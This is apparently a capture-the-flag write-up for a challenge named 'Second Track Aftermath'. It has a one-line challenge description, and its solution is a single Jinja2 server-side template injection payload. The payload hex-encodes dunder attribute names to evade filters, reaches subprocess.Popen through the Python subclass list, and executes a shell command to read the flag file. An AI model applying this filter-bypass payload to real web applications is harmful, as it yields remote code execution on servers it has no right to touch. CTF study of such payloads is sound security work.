Second Track Aftermath
Second Track just suffered a cyber attack and was forced to update their systems and tighten security. This is a backup server, not your home laptop, set up firewall at least, kiddo!
Solution
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(399)('./flag.txt',shell=True,stdout=-1)|attr
('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}